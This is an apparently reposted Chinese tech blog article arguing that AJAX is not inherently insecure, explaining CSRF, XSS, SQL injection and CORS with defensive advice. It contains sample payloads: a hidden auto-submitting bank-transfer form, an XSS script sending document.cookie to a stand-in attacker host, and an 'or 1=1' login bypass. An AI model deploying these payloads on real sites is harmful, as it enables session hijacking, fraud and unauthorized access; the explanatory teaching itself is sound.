新来的妹纸问我 AJAX 请求为什么不安全？没有回答出来。。。
點(diǎn)擊上方“朱小廝的博客”，選擇“設(shè)為星標(biāo)”
后臺(tái)回復(fù)"書"，獲取
后臺(tái)回復(fù)“k8s”，可領(lǐng)取k8s資料
來源：urlify.cn/meeAzm
本文包含的內(nèi)容較多，包括AJAX，CORS，XSS，CSRF等內(nèi)容，要完整的看完并理解需要付出一定的時(shí)間。
另外，見解有限，如有描述不當(dāng)之處，請(qǐng)幫忙及時(shí)指出。
正文開始...
從入坑前端開始，一直到現(xiàn)在，AJAX請(qǐng)求都是以極高的頻率重復(fù)出現(xiàn)，也解決過不少AJAX中遇到的問題，如跨域調(diào)試，錯(cuò)誤調(diào)試等等。
從這種，發(fā)現(xiàn)了一個(gè)共通現(xiàn)象：那就是每次和后臺(tái)人員對(duì)接時(shí)，他們都會(huì)提到AJAX請(qǐng)求不安全，請(qǐng)用普通http請(qǐng)求！
雖然很多時(shí)候，都是經(jīng)過多翻口舌之爭(zhēng)后，最終后臺(tái)那邊妥協(xié)，允許部分符合條件的AJAX請(qǐng)求。但是，我卻很糾結(jié)一個(gè)問題：AJAX請(qǐng)求真的不安全么？為什么我自己寫后臺(tái)時(shí)并沒有發(fā)現(xiàn)這個(gè)問題？
于是，開始準(zhǔn)備搜集資料，結(jié)合自己已有的認(rèn)知，整理成一份解決方案，分析AJAX請(qǐng)求真的不安全么？哪里不安全？，后續(xù)遇到類似的問題就直接向?qū)Ψ綊伋鲆黄恼?/strong>
大綱
AJAX請(qǐng)求真的不安全么
AJAX不安全的說法從何而來
常見的幾種Web前端安全問題
CSRF簡(jiǎn)介
CSRF與AJAX的關(guān)系
XSS簡(jiǎn)介
XSS與AJAX的關(guān)系
SQL注入簡(jiǎn)介
SQL注入與AJAX的關(guān)系
AJAX和HTTP請(qǐng)求的區(qū)別
CORS與AJAX安全性之間的關(guān)聯(lián)
CORS與AJAX關(guān)系的簡(jiǎn)介
為什么要配置CORS？
CORS會(huì)配置些什么信息？
CORS?Origin: *的安全性
再看，AJAX請(qǐng)求真的不安全么？
AJAX請(qǐng)求哪里不安全？
怎么樣讓AJAX請(qǐng)求更安全？
AJAX請(qǐng)求真的不安全么
首先，先說一個(gè)定論：AJAX請(qǐng)求是否安全，由服務(wù)端（后臺(tái)）決定
有這樣一個(gè)說法：如果某個(gè)Web應(yīng)用具備良好的安全性，那么再怎么用“不安全的AJAX”也削弱不了它的安全性，反之如果應(yīng)用本身存在漏洞，不管用何種技術(shù)請(qǐng)求，它都是不安全的
為何會(huì)有這種說法？因?yàn)樵赪eb應(yīng)用中，客戶端輸入不可信是一個(gè)基本原則
AJAX不安全的說法從何而來？
在AJAX出現(xiàn)時(shí)，那時(shí)的服務(wù)端還是很古老的那一批，因此完全沒有考慮到AJAX出現(xiàn)后，前端請(qǐng)求方式會(huì)變得異常復(fù)雜，造成以前的安全策略已經(jīng)無(wú)法滿足要求了，導(dǎo)致大批的后臺(tái)安全漏洞曝光。。。
很顯然，都是因?yàn)锳JAX出現(xiàn)后曝光了更多的安全漏洞，導(dǎo)致它看起來很危險(xiǎn)（因?yàn)锳JAX出現(xiàn)后，請(qǐng)求方式變多了，以前的架構(gòu)在新的請(qǐng)求中就可能出現(xiàn)更多漏洞）
So，AJAX不安全的說法自然擴(kuò)散到了各個(gè)角落。
常見的幾種Web前端安全問題
要知道AJAX請(qǐng)求是否安全，那么就得先知道Web前端中到底有那幾種安全問題
1.XSS（跨站腳本攻擊）（cross-site?scripting）->?偽造會(huì)話（基于XSS實(shí)現(xiàn)CSRF）->?劫持cookie->?惡意代碼執(zhí)行2.CSRF（跨站請(qǐng)求偽造）（cross-site?request?forgery）->?偽造用戶身份操作3.?SQL注入...（其它暫且不提）如上，Web前端中的安全問題主要就是這幾大類（僅列舉部分做分析），所以我們首先要分析AJAX與這幾大類之間的關(guān)系。（XSS和CSRF，在下文也會(huì)做簡(jiǎn)單介紹。）
CSRF簡(jiǎn)介
CSRF，特征很簡(jiǎn)單：冒用用戶身份，進(jìn)行惡意操作
時(shí)至今日，這項(xiàng)安全漏洞已經(jīng)被人們剖析的很透徹了，隨便Google，百度之，都會(huì)找到很多的解釋。這里也用一張圖來先做簡(jiǎn)單描述：
（注，下面介紹參考了來源文章中的描述，譬如圖就是參考了來源中的博文后重繪的）
所以，我們看到關(guān)鍵條件是：
一般在(4)處惡意網(wǎng)站(B)的攻擊手段如下（必須是指向A的地址，否則無(wú)法帶上cookie）：
//?1.譬如在網(wǎng)站內(nèi)的圖片資源中潛入惡意的轉(zhuǎn)賬操作 <img?src=http://www.bank.example/transfer?toBankId=hello&amount=1000000?width='0'?height='0'>//?2.構(gòu)建惡意的隱藏表單，并通過腳本提交惡意請(qǐng)求 <iframe?style="display:?none;"?name="csrf-frame"></iframe> <form?method='POST'?action='http://www.bank.example/transfer'?target="csrf-frame"?id="csrf-form"><input?type='hidden'?name='toBankId'?value='hello'><input?type='hidden'?name='amount'?value='1000000'><input?type='submit'?value='submit'> </form> <script>document.getElementById("csrf-form").submit()</script>而且，從頭到尾，攻擊網(wǎng)站都沒有獲取到過 cookie，都是通過瀏覽器間接實(shí)現(xiàn)（利用Web的cookie隱式身份驗(yàn)證機(jī)制），所以HttpOnly并不會(huì)影響這個(gè)攻擊
最后說下，幾種常見的CSRF防御手段：
1.?驗(yàn)證HTTP?Referer字段（非常簡(jiǎn)單，但是鑒于客戶端并不可信任，所以并不是很安全） （防止CSRF，檢查Referer字段簡(jiǎn)單直接，但是其完全依賴瀏覽器發(fā)送正確的Referer字段。 雖然http協(xié)議對(duì)此字段的內(nèi)容有明確的規(guī)定，但并無(wú)法保證來訪的瀏覽器的具體實(shí)現(xiàn)， 亦無(wú)法保證瀏覽器沒有安全漏洞影響到此字段。并且也存在攻擊者攻擊某些瀏覽器，篡改其Referer字段的可能。）2.?在請(qǐng)求地址中添加token并驗(yàn)證 （譬如post中，以參數(shù)的形式加入一個(gè)隨機(jī)產(chǎn)生的token）CSRF與AJAX的關(guān)系
上文中，我們看到CSRF的前提是cookie驗(yàn)證用戶身份，那么它與AJAX的關(guān)系大么？
我們先分析AJAX中帶cookie驗(yàn)證的情況：
1.?AJAX受到瀏覽器的同源策略限制2.?AJAX默認(rèn)無(wú)法請(qǐng)求跨域的接口 （當(dāng)然后臺(tái)可以配置`Access-Control-Allow-Origin:?*`之類的允許所有的跨域請(qǐng)求）3.?AJAX請(qǐng)求無(wú)法攜帶跨域cookie （如果強(qiáng)行開啟withCredentials，必須服務(wù)端配合認(rèn)證，無(wú)法用作攻擊）嗯哼...看到這，基本就可以認(rèn)為CSRF與AJAX請(qǐng)求無(wú)緣了。。。
譬如假設(shè)上圖中第4部分的請(qǐng)求由AJAX發(fā)起，假設(shè)網(wǎng)站A已經(jīng)允許了Access-Control-Allow-Origin: *，由于網(wǎng)站B與網(wǎng)站A是不同域名，所以存在跨域，根據(jù)同源策略，請(qǐng)求時(shí)根本就無(wú)法攜帶cookie，故而無(wú)法通過身份認(rèn)證，攻擊失敗。。。就算強(qiáng)行開啟withCredentials，攜帶跨域cookie，但是由于服務(wù)端并不會(huì)單獨(dú)配置網(wǎng)站B的跨域cookie（需配置Access-Control-Allow-Credentials: true，而且這時(shí)候不允許設(shè)置Allow-Origin: *），所以肯定認(rèn)證失敗
可以看到，就算Access-Control-Allow-Origin: *允許所有來源的AJAX請(qǐng)求，跨域的cookie默認(rèn)情況下仍然是無(wú)法攜帶的，無(wú)法CSRF
所以說，結(jié)論是：CSRF與AJAX無(wú)關(guān)
XSS簡(jiǎn)介
既然CSRF與AJAX關(guān)系不大，那么XSS應(yīng)該會(huì)與AJAX有很大關(guān)系吧？（要不然為什么一直說AJAX請(qǐng)求不安全，對(duì)吧。）。那么請(qǐng)繼續(xù)看下去（本文中只限JS范疇）
XSS（cross-site scripting），看起來簡(jiǎn)寫應(yīng)該是css更合適。。。但是為了和層疊式樣式表區(qū)分，就用XSS簡(jiǎn)寫表示
XSS的特征也可以概括為：跨域腳本注入，攻擊者通過某種方式將惡意代碼注入到網(wǎng)頁(yè)上，然后其他用戶觀看到被注入的頁(yè)面內(nèi)容后會(huì)受到特定攻擊
相比CSRF，XSS囊括的內(nèi)容更多，而且往往是多種攻擊形式組合而成，這里以前文中介紹的幾種為例：1.cookie劫持
同樣，頁(yè)面中有一個(gè)評(píng)論輸入，輸入后會(huì)，因?yàn)楹笈_(tái)的漏洞，沒有過濾特殊字符，會(huì)直接明文保存到數(shù)據(jù)庫(kù)中，然后展示到網(wǎng)頁(yè)時(shí)直接展示明文數(shù)據(jù)，那么如下
<%@?page?language="java"?contentType="text/html;?charset=UTF-8"?pageEncoding="UTF-8"%> <form?action="saveComment.jsp"?method="post">請(qǐng)輸入評(píng)論內(nèi)容：<BR><input?name="content"?type="text"><input?type="submit"?value="確認(rèn)"> </form>然后攻擊者分析后，輸入
<script>window.open("http://www.attackpage.com/record?secret="?+?document.cookie)</script>保存文章。很簡(jiǎn)單的代碼，由于沒有過濾腳本，那么其它用戶登錄后，在看到這篇文章時(shí)就會(huì)自動(dòng)將他們的cookie信息都發(fā)送到了攻擊者的服務(wù)器。攻擊者可以在cookie（譬如jsessionid對(duì)應(yīng)的session）有效期內(nèi)拿它們冒充用戶操作。
需要注意，這里和CSRF的區(qū)別是，這里是拿到了cookie后主動(dòng)冒充用戶的，而CSRF中根本就不知cookie，僅利用瀏覽器的隱式校驗(yàn)方式冒充用戶。
2.會(huì)話偽造
同樣是評(píng)論漏洞的示例。
攻擊者輸入（舉例比喻）
<img?src=http://www.bank.example/transfer?toBankId=hello&amount=1000000?width='0'?height='0'>然后，接下來發(fā)生的故事就和CSRF中提到的一致。這種情況就是基于XSS而開展的CSRF，也有人喜歡稱之為XSRF
需要注意，這里并沒有自己拿到cookie，而是CSRF中提到的利用瀏覽器的隱式驗(yàn)證機(jī)制來冒充用戶。
3.其它惡意代碼執(zhí)行
其實(shí)上面的cookie劫持以及會(huì)話偽造都算是惡意代碼執(zhí)行，為了區(qū)別，這里就專指前端的流氓JS。
譬如前面的評(píng)論中的輸入可以是：
譬如市面上盛行的網(wǎng)頁(yè)游戲彈窗等。 譬如干脆直接讓這個(gè)頁(yè)面卡死都可以。 譬如無(wú)限循環(huán)。這里再提一點(diǎn)，上述都是從前端輸入作為入口的，但實(shí)際上有一類的輸入也不可忽視，那就是：富文本攻擊
它的特點(diǎn)就是：富文本中注入了腳本，并且前后端未進(jìn)行過濾，導(dǎo)致直接輸出到了頁(yè)面中
因?yàn)榇嬖诤芏囗?yè)面，都是將富文本內(nèi)容展示到網(wǎng)頁(yè)上的，沒有進(jìn)行過濾（哪怕時(shí)至今日，仍然有不少頁(yè)面），這樣只要富文本中有注入腳本，基本就中招了。。。
結(jié)論：
只要最終能向頁(yè)面輸出可執(zhí)行的腳本語(yǔ)句，那么就是有漏洞，XSS攻擊都有可能發(fā)生。
而且，基本上xss漏洞是很廣泛的，雖然攻擊類型很被動(dòng)，也需要大量時(shí)間分析，但勝在大量的網(wǎng)站上都存在（特別是那種長(zhǎng)期不更新的）
再提一點(diǎn)。上述的介紹更多的是從造成的后果來看，但其實(shí)如果從攻擊手動(dòng)來看的話可以分為幾大類型：反射型XSS攻擊（直接通過URL注入，而且很多瀏覽器都自帶防御），存儲(chǔ)型XSS攻擊（存儲(chǔ)到DB后讀取時(shí)注入），還有一個(gè)DOM-Based型。
上述示例中都是存儲(chǔ)型，具體更多內(nèi)容網(wǎng)上已經(jīng)有很詳細(xì)的資料，這里不再繼續(xù)深入，放一張圖鞏固下。如何預(yù)防XSS：
輸入過濾，不信任用戶的任何輸入，過濾其中的“<”、“>”、“/”等可能導(dǎo)致腳本注入的特殊字符， 或者過濾“script”、“javascript”等腳本關(guān)鍵字，或者對(duì)輸入數(shù)據(jù)的長(zhǎng)度進(jìn)行限制等等， 還得考慮攻擊者使用十六進(jìn)制編碼來輸入腳本的方式。
輸出進(jìn)行編碼，和輸入過濾類似，不過是從輸出上著手，數(shù)據(jù)輸出到頁(yè)面時(shí)，經(jīng)過HtmlEncoder等工具編碼，這樣就不會(huì)存在直接輸出可執(zhí)行的腳本了
cookie設(shè)置http-only，這樣用腳本就無(wú)法獲取cookie了 （這樣只有瀏覽器向Web服務(wù)器發(fā)起請(qǐng)求的時(shí)才會(huì)帶上cookie字段，避免了XSS攻擊利用JavaScript的document.cookie獲取cookie）
Cookie防盜，盡可能地避免在Cookie中泄露隱私，如用戶名、密碼等；或者，為了防止重放攻擊，可以將Cookie和IP進(jìn)行綁定，這樣也可以阻止攻擊者冒充正常用戶的身份。
注意，特別是后臺(tái)，一定不能信任前端的輸入，需要過濾與校驗(yàn)
XSS與AJAX的關(guān)系
以上分析了XSS造成一些影響與問題，仍然發(fā)現(xiàn)：與AJAX關(guān)系不大?，因?yàn)檫@些問題不管用不用AJAX都會(huì)發(fā)生。
看看這種情況，譬如上述的富文本注入中：
1.?某個(gè)接口采用AJAX交互2.?AJAX請(qǐng)求完后將對(duì)應(yīng)富文本字段顯示到了頁(yè)面上-譬如innerHTML但是，這真的與AJAX無(wú)關(guān)，這是前后端沒有進(jìn)行輸入輸出過濾而造成的后果。
所以，還是那句話：如果某個(gè)Web應(yīng)用具備良好的安全性，那么再怎么用“不安全的AJAX”也削弱不了它的安全性，反之如果應(yīng)用本身存在漏洞，不管用何種技術(shù)請(qǐng)求，它都是不安全的
SQL注入簡(jiǎn)介
sql注入展開將也是一門很大的學(xué)問，很早以前更是大行其道（當(dāng)然，現(xiàn)在...），這里僅僅舉幾個(gè)最極端的示例。
前提是后臺(tái)沒有過濾前端的輸入數(shù)據(jù)，否則根本無(wú)法生效
假設(shè)頁(yè)面A中有一個(gè)登錄查詢存在拙劣的sql注入漏洞，這樣子的：（最極端，最傻的情況）
<%@?page?language="java"?contentType="text/html;?charset=UTF-8"?pageEncoding="UTF-8"%> <form?action="login.jsp"?method="post">請(qǐng)輸入用戶名與密碼：<BR><input?name="name"?type="text"><input?name="password"?type="text"><input?type="submit"?value="登錄"> </form>在接收到登錄請(qǐng)求后，服務(wù)端的實(shí)際執(zhí)行代碼時(shí)是：
String?sql?=?"SELECT?*?FROM??users??WHERE?name?=?'"?+?name?+?"'?AND?password?=?'"?+?password?+?"'";然而有攻擊者分析出后臺(tái)可能存在漏洞，嘗試sql注入攻擊，輸入
name?=?'?or?1=1 password?=?anything那么這樣，后臺(tái)接收到數(shù)據(jù)后，實(shí)際上查詢的結(jié)果是
SELECT?*?FROM??users??WHERE?name?=?'?'?or?1=1??AND?password?=?'anything'故而，攻擊者成功的繞過的用戶名，利用后臺(tái)漏洞登錄了。
當(dāng)然了，像這類這么低級(jí)的漏洞，現(xiàn)象幾乎已經(jīng)不存在了，往往這類型漏洞需要仔細(xì)分析，耗時(shí)。（又或者是有內(nèi)奸。。。）
SQL注入與AJAX的關(guān)系
額，從上述的示例中看不出和AJAX有什么關(guān)系。但是我們可以這樣假設(shè)：
1.?有一個(gè)接口，接收AJAX?post的數(shù)據(jù)2.?數(shù)據(jù)中有一個(gè)字段?'name'，后臺(tái)接收到后沒有進(jìn)行過濾，直接如上面的演示一樣，執(zhí)行sql語(yǔ)句了3.?所以AJAX中如果給那個(gè)字段傳入非法的注入信息，就會(huì)觸發(fā)這個(gè)漏洞，導(dǎo)致攻擊生效對(duì)，就是這樣極端的情況下才會(huì)發(fā)生，而且與AJAX并沒有關(guān)系，因?yàn)閾Q成任何一種其它請(qǐng)求都會(huì)有類似的情況?。。。
所以說，結(jié)論是：SQL注入與AJAX無(wú)關(guān)
AJAX和HTTP請(qǐng)求的區(qū)別
從本質(zhì)上將：AJAX就是瀏覽器發(fā)出的HTTP請(qǐng)求?，只不過是瀏覽器加上了一個(gè)同源策略限制而已。
AJAX請(qǐng)求的XMLHTTPRequest對(duì)象就是瀏覽器開放給JS調(diào)用HTTP請(qǐng)求用的。
那么AJAX和HTTP的區(qū)別呢？列出以下幾點(diǎn)：
AJAX請(qǐng)求受到瀏覽器的同源策略限制，存在跨域問題
AJAX在進(jìn)行復(fù)雜請(qǐng)求時(shí)，瀏覽器會(huì)預(yù)先發(fā)出OPTIONS預(yù)檢（HTTP自己是不會(huì)預(yù)檢的）
從使用角度上說，AJAX使用簡(jiǎn)單一點(diǎn)，少了些底層細(xì)節(jié)，多了些瀏覽器特性（如自動(dòng)帶上同域cookie等）
所以說，和認(rèn)證上的HTTP請(qǐng)求的區(qū)別就是-多了一次瀏覽器的封裝而已（瀏覽器會(huì)有自己的預(yù)處理，加上特定限制）
但是，從最終發(fā)出的報(bào)文來看，內(nèi)容都是一樣的（HTTP協(xié)議規(guī)范的內(nèi)容），AJAX是發(fā)送HTTP請(qǐng)求的一種方式
所以從這一點(diǎn)可以得出一個(gè)結(jié)論：AJAX本質(zhì)上安全性和HTTP請(qǐng)求一樣
CORS與AJAX安全性之間的關(guān)聯(lián)
按照前文中提到的內(nèi)容，基本無(wú)法得出AJAX與請(qǐng)求不安全的關(guān)聯(lián)。那么接下來，再繼續(xù)分析，如果使用了跨域資源共享（CORS）后的安全性。(因?yàn)橥鵤jax都會(huì)伴隨著CORS)
CORS與AJAX關(guān)系的簡(jiǎn)介
這是一個(gè)跨域共享方案，大致流程就是：（僅以復(fù)雜請(qǐng)求的預(yù)檢舉例-這一部分要求提前掌握CORS相關(guān)知識(shí)）
1.?前端AJAX請(qǐng)求前發(fā)出一個(gè)OPTIONS預(yù)檢，會(huì)帶一堆相關(guān)頭部發(fā)送給服務(wù)端2.?服務(wù)端在接受到預(yù)檢時(shí)，檢查頭部，來源等信息是否合法，合法則接下來允許正常的請(qǐng)求， 否則直接無(wú)情的拒絕掉3. 瀏覽器端如果收到服務(wù)端拒絕的信息（響應(yīng)頭部檢查），就拋出對(duì)應(yīng)錯(cuò)誤。 否則就是正常的響應(yīng)，接下來發(fā)出真正的請(qǐng)求（如POST）請(qǐng)求和響應(yīng)的頭部信息大概如下：
Request Headers
//?在CORS中專門作為Origin信息供后端比對(duì)，表示來源域。 Origin:?http://xxx Access-Control-Request-Headers:?X-Requested-With //?所有用setRequestHeader方法設(shè)置的頭部都將會(huì)以逗號(hào)隔開的形式包含在這個(gè)頭中，一般POST請(qǐng)求中就會(huì)帶上 Access-Control-Request-Method:?OPTIONSResponse Headers
Access-Control-Allow-Headers:?Origin,?X-Requested-With,?Content-Type,?Accept Access-Control-Allow-Methods:?GET,?POST,?OPTIONS Access-Control-Allow-Origin:?http://xxx最終，客戶端發(fā)出的請(qǐng)求，必須符合服務(wù)端的校驗(yàn)規(guī)則才能正確，服務(wù)端才會(huì)返回正確頭部，否則只會(huì)請(qǐng)求失敗。報(bào)跨域錯(cuò)誤。
以上僅是簡(jiǎn)介，更多信息可以參考來源中的ajax跨域，這應(yīng)該是最全的解決方案了
為什么要配置CORS？
因?yàn)橥床呗韵拗?#xff0c;AJAX無(wú)法請(qǐng)求跨域資源，CORS可以解決AJAX跨域請(qǐng)求問題。
因此：在本文中，配置CORS只是為了AJAX能跨域請(qǐng)求
CORS會(huì)配置些什么信息？
Access-Control-Allow-Headers:?Origin,?X-Requested-With,?Content-Type,?Accept Access-Control-Allow-Methods:?GET,?POST,?OPTIONS Access-Control-Allow-Origin:?http://xxx如上，加上這個(gè)配置后，必須符合要求的才算是正常的請(qǐng)求，否則就會(huì)拒絕掉，一般AJAX跨域的話都會(huì)有OPTIONS，所以在預(yù)檢中就做了這一步。
可以看到，關(guān)鍵的可變信息是：Access-Control-Allow-Origin: http://xxx
這個(gè)配置就是域名白名單，規(guī)定在什么樣的域名下才能進(jìn)行AJAX跨域請(qǐng)求。
CORS?Origin: *的安全性
關(guān)鍵問題來了，在上面的CORS配置是這樣的：
Access-Control-Allow-Origin:?http://xxx但是這個(gè)配置只允許特定域名訪問，鑒于前端的復(fù)雜性，有時(shí)候調(diào)試起來不是很方便，因此有時(shí)候，會(huì)偷懶的設(shè)置為：
Access-Control-Allow-Origin:?*這個(gè)代表所有來源的跨域AJAX請(qǐng)求都能正常響應(yīng)。
接下來我們?cè)賮矸治鲈O(shè)置Origin: *可能帶來哪些問題。（都是基于AJAX的情況）
問題1：會(huì)對(duì)cookie認(rèn)證造成影響么？
不會(huì)。雖然*代表了所有來源都能正常請(qǐng)求，但是同源策略下，是無(wú)法帶上跨域cookie的。因此根本無(wú)法用身份驗(yàn)證。
而且，就算用withCredentials強(qiáng)行帶上跨域cookie，因?yàn)楹笈_(tái)沒有支持，所以會(huì)報(bào)錯(cuò)。（這可以看成是CORSs模型的最后一道防線）
再者，后臺(tái)就算配置Access-Control-Allow-Credentials允許跨域cookie，但是這時(shí)候的安全策略是Origin不允許為*，必須是一個(gè)明確的地址。（否則你就可以看到瀏覽器的報(bào)錯(cuò)信息-跨域cookie時(shí)，Origin不允許為*）
問題2：如果偽造Origin頭部呢？
首先，標(biāo)準(zhǔn)的瀏覽器中是不允許你偽造的（除非有嚴(yán)重漏洞），所以一般需要通過模擬客戶端請(qǐng)求偽造。
但是。在非瀏覽器情況下，本來就沒有同源策略。這又是何必。。。
所以說，偽造Origin與CORS并沒有關(guān)系。
問題3：如果后臺(tái)本來就存在漏洞呢？
做這樣一個(gè)假設(shè)，假設(shè)用戶所在網(wǎng)絡(luò)的內(nèi)網(wǎng)中有一臺(tái)內(nèi)網(wǎng)服務(wù)器，并且配置了允許所有的跨域請(qǐng)求：（當(dāng)然，外網(wǎng)是請(qǐng)求不到內(nèi)網(wǎng)的）
//?允許任何來自任意域的跨域請(qǐng)求 Access-Control-Allow-Origin:?*再假設(shè)內(nèi)網(wǎng)服務(wù)器上恰巧存在敏感資源，并且沒有額外設(shè)防，只要內(nèi)網(wǎng)就能訪問。譬如：
192.168.111.23/users.md然后用戶訪問了惡意網(wǎng)頁(yè)，而像HTML之類的網(wǎng)頁(yè)都是下載到本地執(zhí)行的， 正好網(wǎng)頁(yè)內(nèi)有惡意代碼，去向192.168.111.23/users.md請(qǐng)求資源，再將接收到的服務(wù)端返回發(fā)送到攻擊者服務(wù)器。（因?yàn)榧恿薕rigin為*，而且AJAX是由本地瀏覽器發(fā)出的，所以用戶下載到本地的惡意網(wǎng)站是可以訪問到用戶內(nèi)網(wǎng)中的后臺(tái)的）
然后這些敏感數(shù)據(jù)就這樣被盜取了。
But，這是因?yàn)榉?wù)端漏洞而存在的問題，設(shè)置Origin為的后臺(tái)上為何要放置敏感資源？正常設(shè)置為Origin為的最大作用是用作公共API。而且更重要的是，為何敏感資源就這樣輕易的被獲取了？為什么沒有二次驗(yàn)證？
SO，后臺(tái)本身有漏洞，所以才導(dǎo)致被攻擊，AJAX恰好是攻擊的手段之一（除了AJAX外還會(huì)有其它的方式），所以很多鍋都甩到了AJAX頭上。
這樣，可以得出一個(gè)保守點(diǎn)的結(jié)論：
Origin如果不是\*，AJAX請(qǐng)求并不會(huì)有安全問題，如果是\*，可能會(huì)由于后臺(tái)的漏洞，不經(jīng)意間，AJAX就被作為一種攻擊手段了，導(dǎo)致了出現(xiàn)AJAX不安全的說法再看，AJAX請(qǐng)求真的不安全么？
仍然是最初的結(jié)論：
如果某個(gè)Web應(yīng)用具備良好的安全性，那么再怎么用“不安全的AJAX”也削弱不了它的安全性，反之如果應(yīng)用本身存在漏洞，不管用何種技術(shù)請(qǐng)求，它都是不安全的
我們可以看到，XSS也好，CSRF也好，以及其它隱藏的可能漏洞也好，本質(zhì)上都是后臺(tái)已有漏洞造成的問題，AJAX最多是被用作一種攻擊手段（甚至某些里面AJAX還無(wú)法使用）
提到AJAX請(qǐng)求不安全的，譬如有CORS里面配置Origin: *造成某些極端情況下能通過AJAX發(fā)出攻擊。但事實(shí)上這也是其中的一種攻擊手段而已，沒有AJAX，該不安全的仍然不安全。
譬如還有的說法是：因?yàn)樵贏JAX出現(xiàn)以前，如果出現(xiàn)安全漏洞，容易被察覺，但AJAX是異步的，更容易隱式的出現(xiàn)安全問題。。。這也與安全性的本質(zhì)無(wú)關(guān)。
最重要一點(diǎn)，從Web應(yīng)用安全角度來談，Web應(yīng)用必須從不信任客戶端。所以不要再把鍋甩給AJAX。
AJAX請(qǐng)求哪里不安全？
同上，AJAX本身并不存在這種安全問題。
不過有一點(diǎn)需注意，如果使用了CORS方案。
1.?Allow-Origin可以設(shè)置特定的值，過濾特定的白名單2.?對(duì)于一些公共的API，可以直接將Allow-Origin設(shè)置為`*`3. 當(dāng)然，如果確認(rèn)后臺(tái)沒有這些隱藏漏洞，可以直接使用`*`，畢竟也只是針對(duì)瀏覽器的同源策略而已，影響沒有那么大。怎么樣讓AJAX請(qǐng)求更安全？
仍然是文中反復(fù)提到的結(jié)論：
讓W(xué)eb后臺(tái)更安全，則AJAX請(qǐng)求也更安全，反之后臺(tái)有漏洞，不管怎么樣都是不安全的
想知道更多？掃描下面的二維碼關(guān)注我
后臺(tái)回復(fù)"技術(shù)"，加入技術(shù)群
后臺(tái)回復(fù)“k8s”，可領(lǐng)取k8s資料
【精彩推薦】
原創(chuàng)|OpenAPI標(biāo)準(zhǔn)規(guī)范
中臺(tái)不是萬(wàn)能藥，關(guān)于中臺(tái)的思考和嘗試
ClickHouse到底是什么？為什么如此牛逼！
原來ElasticSearch還可以這么理解
面試官：InnoDB中一棵B+樹可以存放多少行數(shù)據(jù)？
微服務(wù)下如何解耦？對(duì)于已經(jīng)緊耦合下如何重構(gòu)？
如何構(gòu)建一套高性能、高可用、低成本的視頻處理系統(tǒng)？
架構(gòu)之道：分離業(yè)務(wù)邏輯和技術(shù)細(xì)節(jié)
星巴克不使用兩階段提交
點(diǎn)個(gè)贊+在看，少個(gè) bug?????
總結(jié)
以上是生活随笔為你收集整理的新来的妹纸问我 AJAX 请求为什么不安全？没有回答出来。。。的全部?jī)?nèi)容，希望文章能夠幫你解決所遇到的問題。
- 上一篇： 清晰！我们从来都反对“大中台，小前台”的
- 下一篇： 面试官问：ZooKeeper是强一致的吗